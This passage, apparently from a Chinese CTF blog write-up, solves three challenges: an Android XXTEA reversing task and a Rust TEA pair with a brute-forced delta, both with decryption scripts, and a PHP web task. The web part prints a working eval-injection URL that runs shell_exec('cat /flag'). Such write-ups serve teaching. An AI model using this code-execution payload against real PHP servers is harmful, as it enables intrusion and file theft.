int q = e - 1;
if (e <= 0) {
return v;
}
sum += DELTA;
int e2 = (sum >>> 2) & 3;
int p = 0;
while (p < n) {
int MX = v[p] + MX(sum, v[p + 1], z, p, e2, k);
v[p] = MX;
z = MX;
p++;
}
int MX2 = v[n] + MX(sum, v[0], z, p, e2, k);
v[n] = MX2;
z = MX2;
e = q;
}
}
private static byte[] fixKey(byte[] key) {
if (key.length == 16) {
return key;
}
byte[] fixedkey = new byte[16];
if (key.length < 16) {
System.arraycopy(key, 0, fixedkey, 0, key.length);
} else {
System.arraycopy(key, 0, fixedkey, 0, 16);
}
return fixedkey;
}
private static int[] toIntArray(byte[] data, boolean includeLength) {
int[] result;
int n = (data.length & 3) == 0 ? data.length >>> 2 : (data.length >>> 2) + 1;
if (includeLength) {
result = new int[n + 1];
result[n] = data.length;
} else {
result = new int[n];
}
int n2 = data.length;
for (int i = 0; i < n2; i++) {
int i2 = i >>> 2;
result[i2] = result[i2] | ((data[i] & 255) << ((i & 3) << 3));
}
return result;
}
/* JADX INFO: Multiple debug info for r1v0 byte[]: [D('m' int), D('result' byte[])] */
private static byte[] toByteArray(int[] data, boolean includeLength) {
int n = data.length << 2;
if (includeLength) {
int m = data[data.length - 1];
int n2 = n - 4;
if (m < n2 - 3 || m > n2) {
return null;
}
n = m;
}
byte[] result = new byte[n];
for (int i = 0; i < n; i++) {
result[i] = (byte) (data[i >>> 2] >>> ((i & 3) << 3));
}
return result;
}
public static boolean check(String flag) {
String enc = encryptToBase64String(flag, getKey());
if (enc != null) {
return enc.equals("YYCKLWlSJ9x4lYVm7iqlHt/EXvgahEoKEe2dl0BnRmGhNQ9KhPXYef3Eqbg=");
}
throw new AssertionError();
}
}

发现了一个魔改XXTEA加密和一个base64编码,密钥是从libctf的本地库中生成的,而本地库的该函数则显示BUG,直接动态调试dex得到密钥882059e204adefc5,编写脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
def bytes_to_dwords_little_endian(byte_array):
return [int.from_bytes(byte_array[i:i+4], byteorder='little', signed=False) for i in range(0, len(byte_array), 4)]

def dwords_to_bytes_little_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='little'))
return byte_list

def XXTEA(m, leng, k):
n = leng - 1
delta = 0x9E3779B9
rounds = 6 + 52 // (n + 1)
ttl = 0
for j in range(rounds):
ttl = (ttl + delta) & 0xFFFFFFFF
for i in range(n+1):
after = m[(i + 1) % len(m)]
before = m[(i - 1) % len(m)]
m[i] = (m[i] + ((((before >> 5) ^ (after << 2)) + ((after >> 3) ^ (before << 4))) ^ ((ttl ^ after) + (k[(i & 3) ^ ((ttl >> 2) & 3)] ^ before)))) & 0xFFFFFFFF
return m

def de_XXTEA(m, leng, k):
n = leng - 1
delta = 0x9E3779B9
rounds = 6 + 52 // (n + 1)
ttl = ((rounds + 1) * delta) & 0xFFFFFFFF
for j in range(rounds):
ttl = (ttl - delta) & 0xFFFFFFFF
for i in range(n, -1, -1):
after = m[(i + 1) % len(m)]
before = m[(i - 1) % len(m)]
m[i] = (m[i] - ((((before >> 5) ^ (after << 2)) + ((after >> 3) ^ (before << 4))) ^ ((ttl ^ after) + (k[(i & 3) ^ ((ttl >> 2) & 3)] ^ before)))) & 0xFFFFFFFF
return m

enc = [0x61, 0x80, 0x8a, 0x2d, 0x69, 0x52, 0x27, 0xdc, 0x78, 0x95, 0x85,
0x66, 0xee, 0x2a, 0xa5, 0x1e, 0xdf, 0xc4, 0x5e, 0xf8, 0x1a, 0x84,
0x4a, 0x0a, 0x11, 0xed, 0x9d, 0x97, 0x40, 0x67, 0x46, 0x61, 0xa1,
0x35, 0x0f, 0x4a, 0x84, 0xf5, 0xd8, 0x79, 0xfd, 0xc4, 0xa9, 0xb8]
key = [0x38, 0x38, 0x32, 0x30, 0x35, 0x39, 0x65, 0x32,
0x30, 0x34, 0x61, 0x64, 0x65, 0x66, 0x63, 0x35]
test = [0x38, 0x38, 0x32, 0x30, 0x35, 0x39, 0x65, 0x32,
0x30, 0x34, 0x61, 0x64, 0x65, 0x66, 0x63, 0x35, 0x10, 0x00, 0x00, 0x00]
dwordenc = bytes_to_dwords_little_endian(enc)
dwordkey = bytes_to_dwords_little_endian(key)
dwordtest = bytes_to_dwords_little_endian(test)
# 加解密测试
# dwordresult = XXTEA(dwordtest, len(dwordtest), dwordkey)
# result = dwords_to_bytes_little_endian(dwordresult)
# for i in range(len(result)):
# print(hex(result[i]),end=", ")
# print()
# dwordresult2 = de_XXTEA(dwordresult, len(dwordresult), dwordkey)
# result2 = dwords_to_bytes_little_endian(dwordresult2)
# for i in range(len(result2)):
# print(hex(result2[i]), end=", ")
# 解密flag
dwordflag = de_XXTEA(dwordenc, len(dwordenc), dwordkey)
flag = dwords_to_bytes_little_endian(dwordflag)
for i in range(len(flag)):
print(hex(flag[i]), end=", ")

运行脚本得到flag:flag{AnDr01d_r3v3rs3_jUcYuWzBSSOwKxbMD}.

b&w:

发现是双子程序进程间通信,搜索“waiting for”之后找到两个程序的主函数:

black:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
__int64 sub_7FF6F4B05EC0()
{
v55 = -2i64;
v53 = 0;
v52 = 0;
v51 = 0;
sub_7FF6F4B051C0(v15, &off_7FF6F4B57568, 1i64); //waiting for white
sub_7FF6F4B3ED50(v15);
while ( 1 )
{
sub_7FF6F4B01DB0(v19);
LOBYTE(v0) = 1;
v14 = sub_7FF6F4B01E40(v19, v0);
v17 = sub_7FF6F4B042C0(
v14,
(__int64)"\\\\.\\pipe\\white_to_black\\\\.\\pipe\\black_to_whiteConnected to white.\n",
23i64);
v18 = v1;
if ( !v17 )
break;
sub_7FF6F4B01350(&v17);
v9 = sub_7FF6F4B023C0(1i64);
sub_7FF6F4B3D470(v9, v10);
}
v53 = 1;
v16 = v18;
while ( 1 )
{
sub_7FF6F4B01DB0(v23);
LOBYTE(v2) = 1;
v13 = sub_7FF6F4B01E50(v23, v2);
v21 = sub_7FF6F4B042C0(v13, (__int64)"\\\\.\\pipe\\black_to_whiteConnected to white.\n", 23i64);
v22 = v3;
if ( !v21 )
break;
sub_7FF6F4B01350(&v21);
v7 = sub_7FF6F4B023C0(1i64);
sub_7FF6F4B3D470(v7, v8);
}
v52 = 1;
v20 = v22;
v53 = 0;
sub_7FF6F4B055D0(v24, v16);
v51 = 1;
v52 = 0;
v25 = v20;
sub_7FF6F4B051C0(v26, &off_7FF6F4B575C0, 1i64);
sub_7FF6F4B3ED50(v26);
v28[0] = 0; //16字节密钥,也按dword代入(从上到下分别为0x00114514, 0x19198100, 0xDEADBEEF, 0x00070201)
v28[1] = 0x11;
v28[2] = 0x45;
v28[3] = 0x14;
v28[4] = 0x19;
v28[5] = 0x19;
v28[6] = 0x81;
v28[7] = 0;
v28[8] = 0xDE;
v28[9] = 0xAD;
v28[10] = 0xBE;
v28[11] = 0xEF;
v28[12] = 0;
v28[13] = 7;
v28[14] = 2;
v28[15] = 1;
sub_7FF7FD5A3C30(v27, v28);
sub_7FF7FD5A2B70(v29, v27);
v43 = 0;
v32[2] = v24[2];
v32[1] = v24[1];
v32[0] = v24[0];
sub_7FF7FD5A54A0(v31, v32);
sub_7FF7FD5A69A0(Src, v31);
memcpy_0(v33, Src, sizeof(v33));
while ( 1 ) //主逻辑无限循环
{
sub_7FF6F4B06B00(&v34, (__int64)v33); //读取white的管道传来的文本,v33指向传入的文本地址,v34为输入字符串的长度+2
if ( (_QWORD)v34 == 0x8000000000000001ui64 ) //读取错误则退出循环
break;
v37 = v35; //真实长度
v36 = v34; //长度+2
sub_7FF6F4B05710(v38, &v36, (int)"Failed to read line", 19, (__int64)&off_7FF6F4B575E8); //读取失败
v5 = sub_7FF6F4B046E0(v38); //v5是传入的文本(先前已经经过一次变换),v38是长度+2
sub_7FF7FD5A5C00(v39, v29, v5, v6); //四个参数分别为返回结果地址、密钥、明文和明文的真实长度
sub_7FF6F4B01830(v48, &unk_7FF6F4B57600, v47);
*(_QWORD *)&v54 = v48;
*((_QWORD *)&v54 + 1) = sub_7FF6F4B04880;
v50[1] = v54;
v50[0] = v54;
sub_7FF6F4B050D0((unsigned int)v49, (unsigned int)&unk_7FF6F4B57748, 2, (unsigned int)v50, 1i64);
v12 = sub_7FF6F4B04470(&v25, v49); //此时white已经接收到加密内容并输出加密结果
sub_7FF6F4B058D0(v12, "Failed to write to pipe", 23i64, &off_7FF6F4B57780);
v11 = sub_7FF6F4B01E60(&v25);
sub_7FF6F4B058D0(v11, "Failed to flush pipe", 20i64, &off_7FF6F4B577B0);
sub_7FF6F4B01170(v48);
sub_7FF6F4B01170(v46);
}
sub_7FF6F4B010F0(v41);
result = sub_7FF6F4B01150(&v25);
v51 = 0;
v52 = 0;
v53 = 0;
return result;
}

发现输入的文本到v5这里已经经过了一层简单的变换,具体变换方式为:

abcdefghijklmnopqrstuvwxyz(不论大小写)→mlkjihgfedcbazyxwvutsrqpon(反向rot13),1234567890→3210987654(其他特殊符号不变),之后带入black中进行加密,运行程序测试发现每次加密结果不一样,研究密文结构,举其中一例:

1
2
3
4
1111111111111111:18 08 87 21 c6 fd 11 1b 18 08 87 21 c6 fd 11 1b 12 22 8d 1b 8b 72 fd 21
1111111111111112:18 08 87 21 c6 fd 11 1b 6c 2d 80 d7 a3 3c e5 af 12 22 8d 1b 8b 72 fd 21
2111111111111111:d3 c1 38 cd aa 28 62 c9 18 08 87 21 c6 fd 11 1b 12 22 8d 1b 8b 72 fd 21
无输入:12 22 8d 1b 8b 72 fd 21

发现明文应该是按两个dword组成一个块带入加密的(8字节),并且在最后还会输出额外的8字节,猜测这是一个用于额外随机加密的密钥,整理上述发现:

① 明文会先在某处(可能是white)进行按字符的重映射,映射效果类似反向的ROT加密

② 变换过的明文按两个dword一组带入进行了某种加密(猜测是TEA类),密钥为16字节:00 11 45 14 19 19 81 00 DE AD BE EF 00 07 02 01

③ 明文还会和某两个随机dword进行某种加密,这两个dword会和密文一起输出

观察flag密文:X2+L9DsxzsH2Y3a9xa6W8Ku81qkJp6/FPspYWrXXxYmNpbnIJBEI5g==对应40字节:

1
5f 6f 8b f4 3b 31 ce c1 f6 63 76 bd c5 ae 96 f0 ab bc d6 a9 09 a7 af c5 3e ca 58 5a b5 d7 c5 89 8d a5 b9 c8 24 11 08 e6

则对应的flag应为32字节,最后8字节是当时随机生成的密钥,观察上文提到的black程序中的加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
_QWORD *__fastcall sub_7FF6F4B05C00(_QWORD *a1, __int64 a2, __int64 a3, __int64 a4)
{
v26 = -2i64;
sub_7FF6F4B05B20(v17, a3, a4); //将明文复制到v17的缓冲区
sub_7FF6F4B03930(v18);
v4 = sub_7FF6F4B039D0(v17);
core::slice::_$LT$impl$u20$$u5b$T$u5d$$GT$::chunks::hec8614e01ec4a057( (unsigned int)v20,v4,v5,8, (__int64)&off_7FF6F4B57520);
sub_7FF6F4B052F0(v19, v20); //将明文按8字节分割成一块
v21[0] = v19[0];
v21[1] = v19[1];
v21[2] = v19[2];
while ( 1 ) //按块进行加密
{
v22 = sub_7FF6F4B05310(v21); //获取块
v23 = v6;
if ( !v22 ) //没有可用块则结束
break;
v12 = v22; //指针
v13 = v23;
v24[1] = 0i64;
v24[2] = 0i64;
v24[5] = 0i64;
v24[4] = 0i64;
v24[7] = 0i64;
v25 = sub_7FF6F4B03BB0(0i64);
v24[6] = v25;
v24[3] = v25;
v24[0] = v25; //这里v24被初始化为全0
v8 = sub_7FF6F4B019D0((__int64)v24, 8i64); //检验v24
sub_7FF6F4B34EB0(v8, v9, v12, v13, (__int64)&off_7FF6F4B57538); //搬运数据,v12为文本的地址,第五个参数指向src/main.rs
sub_7FF6F4B028B0(a2, (__int64)v24); //密钥加密函数,a2为密钥,v24为8字节的明文块
v10 = sub_7FF6F4B34F40(v24, 8i64);
sub_7FF6F4B376D0(v18, v10, v11);
}
*a1 = v18[0];
a1[1] = v18[1];
a1[2] = v18[2];
sub_7FF6F4B01180((__int64)v17);
return a1; //返回结果
}

查看加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall sub_7FF7FD5A28B0(__int64 a1, __int64 a2)
{
v21 = sub_7FF7FD5D4F40(a2, 8i64);
if ( v2 < 4 )
sub_7FF7FD5F5330(4i64, v2, &off_7FF7FD5F69E0);
sub_7FF7FD5A1930(0i64, 4i64, v2);
v17 = _$LT$byteorder..BigEndian$u20$as$u20$byteorder..ByteOrder$GT$::read_u32::h17cc09fd16e4f66e(v21, 4i64); //前4字节大端序
v18 = sub_7FF7FD5D4F40(a2, 8i64);
if ( v3 < 8 )
sub_7FF7FD5F5330(8i64, v3, &off_7FF7FD5F69E0);
sub_7FF7FD5A1930(4i64, 8i64, v3);
v4 = _$LT$byteorder..BigEndian$u20$as$u20$byteorder..ByteOrder$GT$::read_u32::h17cc09fd16e4f66e(v18 + 4, 4i64); //后4字节大端序
v15 = sub_7FF7FD5A40A0(a1, v17, v4); //加密函数
v16 = v5;
v6 = sub_7FF7FD5A19D0(a2, 8i64);
v8 = sub_7FF7FD5D44B0(0, 4, v6, v7, (__int64)&off_7FF7FD5F69E0);
_$LT$byteorder..BigEndian$u20$as$u20$byteorder..ByteOrder$GT$::write_u32::h31d90aa70fb2cefc(v8, v9, v15);
v10 = sub_7FF7FD5A19D0(a2, 8i64);
v12 = sub_7FF7FD5D44B0(4, 8, v10, v11, (__int64)&off_7FF7FD5F69E0);
return _$LT$byteorder..BigEndian$u20$as$u20$byteorder..ByteOrder$GT$::write_u32::h31d90aa70fb2cefc(v12, v13, v16);
}

查看详细加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall sub_7FF7FD5A40A0(int *a1, unsigned int a2, unsigned int a3)
{
v17 = 0;
v13 = *a1; //密钥的4个dword
v14 = a1[1];
v15 = a1[2];
v16 = a1[3];
v20[0] = sub_7FF7FD5A2190(0i64, 64i64); //初始化为0和0x40
v20[1] = v3;
while ( 1 )
{
v21 = sub_7FF7FD5A2180(v20); //1,同时将v20改为1
v22 = v4;
if ( !v21 )
break;
v17 += a1[4]; //sum += delta
v6 = shl(a3, 4); //v1 << 4
v10 = rev_xor((unsigned int)(v13 + v6), (unsigned int)(v17 + a3)); //(v1 + sum) ^ ((v1 << 4) + k0)
v7 = shr(a3, 5); //v1 >> 5
a2 += rev_xor(v10, (unsigned int)(v14 + v7)); //((v1 >> 5) + k1) ^ ((v1 + sum) ^ ((v1 << 4) + k0))
v8 = shl(a2, 4);
v11 = rev_xor((unsigned int)(v15 + v8), (unsigned int)(v17 + a2));
v9 = shr(a2, 5);
a3 += rev_xor(v11, (unsigned int)(v16 + v9));
}
return a2;
}

一看就是TEA加密,只不过delta是个随机值,并且轮数为64轮,编写同构脚本进行模拟,发现密文尾部多出来的8字节并不是delta,而是由2个全0明文加密生成的密文,经过多次尝试发现当字节个数不够8的倍数时会自动补全到8的倍数,用\x00填充,而如果本身就是8的倍数,则会在末尾额外添加8个\x00字节,但是不确定flag的长度是不是8的倍数,所以直接编写脚本爆破delta:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <iostream>
#include <vector>
#include <thread>
#include <atomic>
#include <mutex>
#include <chrono>

// 全局配置
const uint32_t TARGET_DWORD = 0x68626d67; // flag的对应映射hbmg
const uint32_t CIPHER_PART[2] = {0x5f6f8bf4, 0x3b31cec1}; // 前8字节密文
const uint32_t k[4] = {0x00114514, 0x19198100, 0xDEADBEEF, 0x00070201};
const uint32_t DELTA_MAX = 0xFFFFFFFF;
const int THREADS = std::thread::hardware_concurrency();
std::atomic<uint32_t> g_progress(0);
std::atomic<bool> g_found(false);
// 进度监控
void progress_monitor() {
while (!g_found) {
uint32_t current = g_progress;
float percent = (float)current / DELTA_MAX * 100;
std::cout << "\rProgress: " << current << "/" << DELTA_MAX
<< " (" << percent << "%) ";
std::this_thread::sleep_for(std::chrono::seconds(1));
}
}
// 解密函数(针对前8字节)
bool check_delta(uint32_t delta) {
uint32_t v0 = CIPHER_PART[0], v1 = CIPHER_PART[1];
uint32_t ttl = delta * 64;

for (int j = 0; j < 64; ++j) {
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + ttl) ^ ((v0 >> 5) + k[3])));
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + ttl) ^ ((v1 >> 5) + k[1])));
ttl -= delta;
}

return (v0 == TARGET_DWORD); // 只检查第一个DWORD
}
// 线程任务
void search_range(uint32_t start, uint32_t end) {
for (uint32_t delta = start; delta < end && !g_found; ++delta) {
if (check_delta(delta)) {
g_found = true;
std::cout << "\nFound valid delta: 0x" << std::hex << delta << std::endl;
return;
}
if ((delta - start) % 0x1000 == 0) {
g_progress.fetch_add(0x1000);
}
}
}

int main() {
std::vector<std::thread> threads;
std::thread monitor(progress_monitor);
// 分割任务
uint32_t range = DELTA_MAX / THREADS;
for (int i = 0; i < THREADS; ++i) {
uint32_t start = i * range;
uint32_t end = (i == THREADS-1) ? DELTA_MAX : start + range;
threads.emplace_back(search_range, start, end);
}
for (auto& t : threads) t.join();
monitor.join();
return 0;
}

运行输出delta:

1
2
Progress: 0/4294967295 (0%)
Found valid delta: 0x48315716

用该delta进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
lowercase_map = str.maketrans('abcdefghijklmnopqrstuvwxyz', 'mlkjihgfedcbazyxwvutsrqpon')
uppercase_map = str.maketrans('ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'MLKJIHGFEDCBAZYXWVUTSRQPON')
digit_map = str.maketrans('1234567890', '3210987654')

de_lowercase_map = str.maketrans('mlkjihgfedcbazyxwvutsrqpon', 'abcdefghijklmnopqrstuvwxyz')
de_uppercase_map = str.maketrans('MLKJIHGFEDCBAZYXWVUTSRQPON', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ')
de_digit_map = str.maketrans('3210987654', '1234567890')

def map_enc(input_string):
result = input_string.translate(digit_map)
result = result.translate(lowercase_map)
result = result.translate(uppercase_map)
return result

def map_dec(input_string):
result = input_string.translate(de_digit_map)
result = result.translate(de_lowercase_map)
result = result.translate(de_uppercase_map)
return result

def to_hex_array(string):
array = []
for i in range(len(string)):
array.append(ord(string[i]))
return array

def mapping(input_string):
enc = map_enc(input_string)
hex_array = to_hex_array(enc)
return enc, hex_array

def de_mapping(input_string):
dec = map_dec(input_string)
return dec

def dwords_to_bytes_big_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='big'))
return byte_list

def bytes_to_dwords_big_endian(byte_array):
return [int.from_bytes(byte_array[i:i+4], byteorder='big', signed=False)for i in range(0, len(byte_array), 4)]

test = "1234567890abcdefghijklmnopqrstuvwxyz"
test = "flag{"
k = [0x00114514, 0x19198100, 0xDEADBEEF, 0x00070201]
enc, hex_enc = mapping(test)
print(f"Original: {test}")
print(f"EncryptS: {enc}")
print("AfterTEA: ", end="")
dwordenc = bytes_to_dwords_big_endian(hex_enc)
for i in range(2):
dwordenc.append(0)
dwordresult = []
for i in range(len(dwordenc)//2):
v0 = dwordenc[2 * i]
v1 = dwordenc[2 * i + 1]
ttl = 0
delta = 0x4831BB6B
for j in range(0x40):
ttl = (ttl + delta) & 0xFFFFFFFF
v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + ttl) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
v1 = (v1 + (((v0 << 4) + k[2]) ^ (v0 + ttl) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
dwordresult.append(v0)
dwordresult.append(v1)
result = dwords_to_bytes_big_endian(dwordresult)
for i in range(len(result)):
print(hex(result[i]),end=", ")
print()
dwordresult = [0x5f6f8bf4, 0x3b31cec1, 0xf66376bd, 0xc5ae96f0, 0xabbcd6a9,
0x09a7afc5, 0x3eca585a, 0xb5d7c589, 0x8da5b9c8, 0x241108e6]
dwordrev = []
for i in range(len(dwordresult)//2):
v0 = dwordresult[2 * i]
v1 = dwordresult[2 * i + 1]
delta = 0x48315716
ttl = (0x40 * delta) & 0xFFFFFFFF
for j in range(0x40):
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + ttl) ^ ((v0 >> 5) + k[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + k[0]) ^ (v1 + ttl) ^ ((v1 >> 5) + k[1]))) & 0xFFFFFFFF
ttl = (ttl - delta) & 0xFFFFFFFF
dwordrev.append(v0)
dwordrev.append(v1)
rev = dwords_to_bytes_big_endian(dwordrev)
print("BeforTEA: ",end="")
bflag = bytearray()
for i in range(len(rev)):
bflag.append(rev[i])
print(bflag)
mapflag = bflag.decode()
print("OutpFlag:", de_mapping(mapflag))

输出flag:flag{Ru57_and_g0_1s_fun_T0_r3v3rs3_XD}.

Web方向:

play a game:

查看源代码,发现游戏结束之后会打开一个php:window.open("check.php?score="+this.score);,跳转该php,发现输出MTE0NTE0说:你的分数不是它想要的,而MTE0NTE0是114514的base64,带入score=114514后得到了php文件的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error\_reporting(0);

if (base64\_encode($\_GET['score']) == 'MTE0NTE0') {
`    `highlight\_file(\_\_FILE\_\_);
}
else echo "MTE0NTE0说:你的分数不是它想要的";

$func=$\_GET['func'];
$arg=$\_GET['arg'];
if($func!=$arg||md5($func)==md5($arg)){
`    `eval($func.$arg);
}

?>

发现可以传入func和arg并执行,构造查看flag的指令:check.php?score=114514&func=echo%20shell_exec(%27cat%20/flag%27);&arg=

返回flag:flag{IF_YOU-fE3L-T1R3D-yOu-Can_PI4y_iT130b5a}.